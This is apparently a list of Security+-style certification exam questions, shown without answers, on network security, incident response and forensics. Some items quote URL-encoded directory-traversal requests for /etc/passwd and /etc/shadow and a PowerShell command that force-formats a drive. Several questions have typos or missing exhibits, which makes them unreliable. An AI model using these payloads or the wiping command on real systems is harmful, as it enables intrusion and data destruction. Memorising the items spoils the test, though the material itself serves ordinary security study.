Click on each host and firewall. Review all logs to determine which host originated the Infecton and then deny each remaining hosts clean or infected.
A technician is setting up a new firewall on a network segment to allow web traffic to the internet while hardening the network. After the firewall is configured, users receive errors stating the website could not be located. Which of the following would best correct the issue?
A cyber security administrator is using iptables as an enterprise firewall. The administrator created some rules, but the network now seems to be unresponsive. All connections are being dropped by the firewall Which of the following would be the best option to remove the rules?
Which of the following describes the exploitation of an interactive process to gain access to restricted areas?
Two organizations are discussing a possible merger Both Organizations Chief Fi-nancial Officers would like to safely share payroll data with each Other to de-termine if the pay scales for different roles are similar at both organizations Which Of the following techniques would be best to protect employee data while allowing the companies to successfully share this information?
An organization has hired a security analyst to perform a penetration test The analyst captures 1Gb worth of inbound network traffic to the server and transfers the pcap back to the machine for
analysis. Which of the following tools should the analyst use to further review the pcap?
Which of the following is most likely to contain ranked and ordered information on the likelihood and potential impact of catastrophic events that may affect business processes and systems, while also highlighting the residual risks that need to be managed after mitigating controls have been implemented?
During a security incident the security operations team identified sustained network traffic from a malicious IP address: 10.1.4.9 A security analyst is creating an inbound firewall rule to block the IP address from accessing the organization's network. Which of the following fulfills this request?
A security engineer is building a file transfer solution to send files to a business partner. The users would like to drop off the files in a specific directory and have the server send the file to the business partner. The connection to the business partner is over the internet and needs to be secure. Which of the following can be used?
A security architect is required to deploy to conference rooms some workstations that will allow sensitive data to be displayed on large screens. Due to the nature of the data, it cannot be stored in the conference rooms. The file share is located in a local data center. Which of the following should the security architect recommend to best meet the requirement?
Which of the following supplies non-repudiation during a forensics investigation?
Which of the following can best protect against an employee inadvertently installing malware on a company system?
Which of the following are common VoIP-associated vulnerabilities? (Select two).
An audit report indicates multiple suspicious attempts to access company resources were made. These attempts were not detected by the company. Which of the following would be the best solution to implement on the company's network?
A company recently experienced a significant data loss when proprietary information was leaked to a competitor. The company took special precautions by using proper labels; however, email filter logs do not have any record of the incident. An investigation confirmed the corporate network was not breached, but documents were downloaded from an employee's COPE tablet and passed to the competitor via cloud storage. Which of the following is the best mitigation strategy to prevent this from happening in the future?
An annual information security has revealed that several OS-level configurations are not in compliance due to Outdated hardening standards the company is using Which Of the following would be best to use to update and reconfigure the OS.level security configurations?
A company recently suffered a breach in which an attacker was able to access the internal mail servers and directly access several user inboxes. A large number of email messages were later posted online. Which of the following would bast prevent email contents from being released should another breach occur?
A company has installed badge readers for building access but is finding unau-thorized individuals roaming the hallways Of the following is the most likely cause?
While troubleshooting a firewall configuration, a technician determines that a "deny any" policy should be added to the bottom of the ACL. The technician updates the policy, but the new policy causes several company servers to become unreachable. Which of the following actions would prevent this issue?
Select the appropriate attack and remediation from each drop-down list to label the corresponding attack with its remediation.
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A software development manager wants to ensure the authenticity of the code created by the company. Which of the following options is the most appropriate?
A network administrator has been alerted that web pages are experiencing long load times After determining it is not a routing or DNS issue the administrator logs in to the router, runs a command, and receives the following output:
CPU 0 percent busy, from 300 sec ago
1 sec ave: 99 percent busy
5 sec ave: 97 percent busy
1 min ave: 83 percent busy
Which of the following is The router experiencing?
An information security officer at a credit card transaction company is conducting a framework-mapping exercise with the internal controls. The company recently established a new office in Europe. To which of the following frameworks should the security officer map the existing controls' (Select two).
Which of the following automation use cases would best enhance the security posture Of an organi-zation by rapidly updating permissions when employees leave a company Or change job roles inter-nally?
A company's help desk has received calls about the wireless network being down and users being unable to connect to it The network administrator says all access points are up and running One of the help desk technicians notices the affected users are working in a building near the parking lot. Which of the following is the most likely reason for the outage?
Which of the following best describes configuring devices to log to a centralized, off-site location for possible future reference?
A user downloaded an extension for a browser, and the user's device later became infected. The analyst who Is Investigating the Incident saw various logs where the attacker was hiding activity by deleting data. The following was observed running:
New-Partition -DiskNumber 2 -UseMaximumSize -AssignDriveLetter C| Format-Volume -Driveletter C - FileSystemLabel "New"-FileSystem NTFS - Full -Force -Confirm:$false
Which of the following is the malware using to execute the attack?
A security analyst notices an unusual amount of traffic hitting the edge of the network. Upon examining the logs, the analyst identifies a source IP address and blocks that address from communicating with the network. Even though the analyst is blocking this address, the attack is still ongoing and coming from a large number of different source IP addresses. Which of the following describes this type of attack?
Which of the following best reduces the security risks introduced when running systems that have expired vendor support and lack an immediate replacement?
A customer called a company's security team to report that all invoices the customer has received over the last five days from the company appear to have fraudulent banking details. An investigation into the matter reveals the following
• The manager of the accounts payable department is using the same password across multiple external websites and the corporate account
• One of the websites the manager used recently experienced a data breach.
• The manager's corporate email account was successfully accessed in the last five days by an IP address located in a foreign country.
Which of the following attacks has most likely been used to compromise the manager's corporate account?
A security analyst needs to implement security features across smartphones. laptops, and tablets. Which of the following would be the most effective across heterogeneous platforms?
A manufacturing company has several one-off legacy information systems that cannot be migrated to a newer OS due to software compatibility issues. The OSs are still supported by the vendor but the industrial software is no longer supported The Chief Information Security Officer has created a resiliency plan for these systems that will allow OS patches to be installed in a non-production environment, white also creating backups of the systems for recovery. Which of the following resiliency techniques will provide these capabilities?
A security analyst is looking for a solution to help communicate to the leadership team the seventy levels of the organization's vulnerabilities. Which of the following would best meet this need?
Which of the following terms should be included in a contract to help a company monitor the ongo-ing security maturity Of a new vendor?
An organization is repairing damage after an incident. Which Of the following controls is being implemented?
A user received an SMS on a mobile phone that asked for bank details. Which of the following social engineering techniques was used in this case?
A report delivered to the Chief Information Security Officer (CISO) shows that some user credentials could be exfiltrated. The report also indicates that users tend to choose the same credentials on different systems and applications. Which of the following policies should the CISO use to prevent someone from using the exfiltrated credentials?
An annual information security assessment has revealed that several OS-level configurations are not in compliance due to outdated hardening standards the company is using. Which of the following would be best to use to update and reconfigure the OS-level security configurations?
Which Of the following will provide the best physical security countermeasures to Stop intruders? (Select two).
An internet company has created a new collaboration application. To expand the user base, the company wants to implement an option that allows users to log in to the application with the credentials of other popular websites. Which of the following should the company implement?
After reviewing the following vulnerability scanning report:
server:192.168.14.6
Service: Telnet Port: 23 Protocol: TCP Status: Open Severity: High
Vulnerability: Use of an insecure network protocol
A security analyst performs the following test
nmap -p 23 192.1€8.14. € --script telnet-encryption
PORT STATE SERVICE REASON
23/tcp open telnet syn-ack
I telnet encryption:
| Telnet server supports encryption
Which of the following would the security analyst conclude for this reported vulnerability7?
Server administrators want to configure a cloud solution so that computing memory and processor usage are maximized most efficiently across a number of virtual servers. They also need to avoid potential denial-of-service situations caused by availability. Which of the following should administrators configure to maximize system availability while efficiently utilizing available computing power?
An IT security team is concerned about the confidentiality of documents left unattended in MFPs. Which of the following should the security team do to mitigate the situation?
A security analyst reviews web server logs and notices the following lines:
104.35.45.53 - - [22/May/2020:06:57:31 +0100] "GET /show_file.php file=%2e%2e%2f%2e%2e%2fetc%2fpasswd HTTP/1.1" 200 11705
" "
104.35.45.53 -- [22/May/2020:07:00:58 +0100] "GET /show_file.php
file=%2e%2e%2f%2e%2e%2fetc%2fsudoers HTTP/1.1" 200 23713
" "
Which of the following vulnerabilities has the attacker exploited? (Select TWO).
Following a prolonged data center outage that affected web-based sales, a company has decided to move its operations to a private cloud solution The security team has received the following requirements
• There must be visibility into how teams are using cloud-based services
• The company must be able to identity when data related to payment cards is being sent to the cloud
• Data must be available regardless of the end user's geographic location
• Administrators need a single pane-of-glass view into traffic and trends
Which of the following should the security analyst recommend?
An attacker posing as the Chief Executive Officer calls an employee and instructs the employee to buy gift cards. Which of the following techniques is the attacker using?
A malicious actor compromised an entire cluster by exploiting a zero-day vulnerability in a unique container. The malicious actor then engaged in a lateral movement and compromised other containers and the host system. Which of the following container security practices has the GREATEST chance of preventing this attack from reoccurring?
Which of the following is most likely to include a SCADA system?
A security analyst is reviewing the following command-line output:
Internet address Physical address Type
192.168.1.1 aa-bb-cc-00-11-22 dynamic
192.168. aa-bb-cc-00-11-22 dynamic
192.168.1.3 aa-bb-cc-00-11-22 dynamic
192.168.1.4 aa-bb-cc-00-11-22 dynamic
192.168.1.5 aa-bb-cc-00-11-22 dynamic
--output omitted---
192.168.1.251 aa-bb-cc-00-11-22 dynamic
192.168.1.252 aa-bb-cc-00-11-22 dynamic
192.168.1.253 aa-bb-cc-00-11-22 dynamic
192.168.1.254 aa-bb-cc-00-11-22 dynamic
192.168.1.255 ff-ff-ff-ff-ff-ff static
Which of the following is the analyst observing?
A systems administrator is auditing all company servers to ensure they meet the minimum security baseline While auditing a Linux server the systems administrator observes the /etc/ahadow file has permissions beyond the baseline recommendation. Which of the following commands should the systems administrator use to resolve this issue?
During a recent penetration test, a tester plugged a laptop into an Ethernet port in an unoccupied conference room and obtained a valid IP address. Which of the following would have best prevented this avenue of attack?
A company hired a consultant to perform an offensive security assessment covering penetration testing and social engineering. Which of the following teams will conduct this assessment activity?
An attacker is trying to gain access by installing malware on a website that is known to be visited by the target victims. Which of the following is the attacker most likely attempting?
A worldwide manufacturing company has been experiencing email account compromises. In one incident, a user logged in from the corporate office in France, but then seconds later, the same user account attempted a login from Brazil. Which of the following account policies would best prevent this type of attack?
Which of the following describes the reason root cause analysis should be conducted as part of incident response?
A security analyst is creating baselines for the server team to follow when hardening new devices for deployment. Which of the following best describes what the analyst is creating?
A systems administrator needs to set up a secure, cloud-based file transfer environment between two data centers. Which of the following architecture models would meet this requirement?
A company is designing the layout of a new data center so it will have an optimal environmental temperature Which of the following must be included? (Select two).
A security analyst is looking for a way to categorize and share a threat actor's TTPs with colleagues at a partner organization. Which of the following would be the best method to achieve this goal?
A company would like to provide flexibility for employees on device preference. However, the company is concerned about supporting too many different types of hardware. Which of the following deployment models will provide the needed flexibility with the greatest amount of control and security over company data and infrastructure?
A security engineer must deploy two wireless routers in an office suite Other tenants in the office building should not be able to connect to this wireless network Which of the following protocols should the engineer implement to ensure the strongest encryption?
A technician is opening ports on a firewall for a new system being deployed and supported by a SaaS provider. Which of the following is a risk in the new system?
The application development teams have been asked to answer the following questions:
Which of the following are these questions part of?
The Chief Executive Officer (CEO) of an organization would like staff members to have the flexibility to work from home anytime during business hours, including during a pandemic or crisis. However, the CEO is concerned that
some staff members may take advantage of the flexibility and work from high-risk countries while on holiday or outsource work to a third-party organization in another country. The Chief Information Officer believes the company
can implement some basic controls to mitigate the majority of the risk. Which of the following would be best to mitigate the CEO's concerns? (Select two).
Local guidelines require that all information systems meet a minimum security baseline to be compliant Which of the following can security administrators use to assess their system configurations against the baseline?
A security administrator is performing an audit on a stand-alone UNIX server, and the following message is immediately displayed:
(Error 13) : /etc/shadow: Permission denied.
Which of the following best describes the type of tool that is being used?
A security engineer is implementing FDE for all laptops in an organization. Which of the following are the most important for the engineer to consider as part of the planning process? (Select two).
An enterprise is trying to limit outbound DNS traffic originating from its internal network. Outbound DNS requests will only be allowed from one device with the IP address 10 50 10.25
Which of the following firewall ACLs will accomplish this goal?
An incident response technician collected a mobile device during an investigation. Which of the following should the technician do to maintain chain of custody?
A dynamic application vulnerability scan identified that code injection could be performed using a web form. Which of the following will be the best remediation to prevent this vulnerability?
A company deployed a Wi-Fi access point in a public area and wants to harden the configuration to make it more secure. After performing an assessment, an analyst identifies that the access point is configured to use WPA3, AES, WPS, and RADIUS. Which of the following should the analyst disable to enhance the access point security?
A security analyst discovers several jpg photos from a cellular phone during a forensics investigation involving a compromised system The analyst runs a forensics tool to gather file metadata Which of the following would be part of the images if all the metadata is still intact?
Which of the following test describes the risk that is present once mitigations are applied?
Developers are writing code and merging it into shared repositories several times a day. where it is tested automatically. Which of the following concepts does this best represent?
A company recently experienced a data breach and the source was determined to be an executive who was charging a phone in a public area. Which of the following would most likely have prevented this breach?
A manufacturing organization wants to control and monitor access from the internal business network to the segregated production network, while ensuring minimal exposure of the production network to devices. Which of the following solutions would best accomplish this goal?
A systems administrator set up an automated process that checks for vulnerabilities across the entire environment every morning. Which of the following activities is the systems administrator conducting?
An organization is concerned about intellectual property theft by employees who leave the organization Which of the following should the organization most likely implement?
A cybersecurity analyst reviews the log files from a web server end sees a series of files that indicate a directory traversal attack has occurred Which of the following is the analyst most likely seeing?
An attacker is attempting to harvest user credentials on a client's website. A security analyst notices multiple attempts of random usernames and passwords. When the analyst types in a random username and password, the logon screen displays the following message:
The username you entered does not exist.
Which of the following should the analyst recommend be enabled?
Which of the following incident response activities ensures evidence is properly handled?
Which of the following agreements defines response time, escalation points, and performance metrics?
All security analysts' workstations at a company have network access to a critical server VLAN. The information security manager wants to further enhance the controls by requiring that all access to the secure VLAN be authorized only from a given single location. Which of the following will the information security manager most likely implement?
A company located in an area prone to hurricanes is developing a disaster recovery plan and looking at site considerations that allow the company to quickly continue operations. Which of the following is the best type of site for this company?
An organization is having difficulty correlating events from its individual AV. EDR. DLP. SWG. WAF, MDM. HIPS, and CASB systems. Which of the following is the best way to improve the situation?
Which of the following is the most common data loss path for an air-gapped network?
An organization purchased and configured spare devices for all critical network infrastructure. Which of the following best describes the organization's reason for these actions?
A Chief Executive Officer's (CEO) personal information was stolen in a social-engineering attack. Which of the following sources would reveal if the CEO's personal information is for sale?
Which of the following is a hardware-specific vulnerability?
A security administrator received an alert for a user account with the following log activity:
Which of the following best describes the trigger for the alert the administrator received?
Which of the following practices would be best to prevent an insider from introducing malicious code into a company’s development process?
A security analyst is reviewing SIEM logs during an ongoing attack and notices the following:
php? f=/etc/passwd
.42F..42F.. $2Fetct2Fshadow
http: //company.com/../../../ ../etc/passwd
Which of the following best describes the type of attack?
Which of the following is performed to gain a better understanding of how specific devices are set up by identifying the arrangement of settings?
Which of the following components can be used to consolidate and forward inbound internet traffic to multiple cloud environments though a single firewall?
Which of the following is an algorithm performed to verify that data has not been modified?
A security analyst it investigating an incident to determine what an attacker was able to do on a compromised Laptop. The analyst reviews the following SIEM log:
Which of the following describes the method that was used to compromise the laptop?
A wet-known organization has been experiencing attacks from APTs. The organization is concerned that custom malware is being created and emailed into the company or installed on USB stocks that are dropped in parking lots. Which of the following is the best defense against this scenario?
An organization relies on third-party videoconferencing to conduct daily business. Recent security changes now require all remote workers to utilize a VPN to corporate resources Which of the following would best maintain high-quality videoconferencing while minimizing latency when connected to the VPN?
A company wants to ensure that all employees in a given department are trained on each job role to help with employee burnout and continuity of business operations in the event an employee leaves the company. Which of the following should the company implement?
A network manager wants to protect the company's VPN by multifactor authentication that uses:
• Something you know
• Something you have
• Somewhere you are
Which of the following would accomplish the manager's goal?
Which of the following would be most effective to contain a rapidly spreading attack that is affecting a large number of organizations?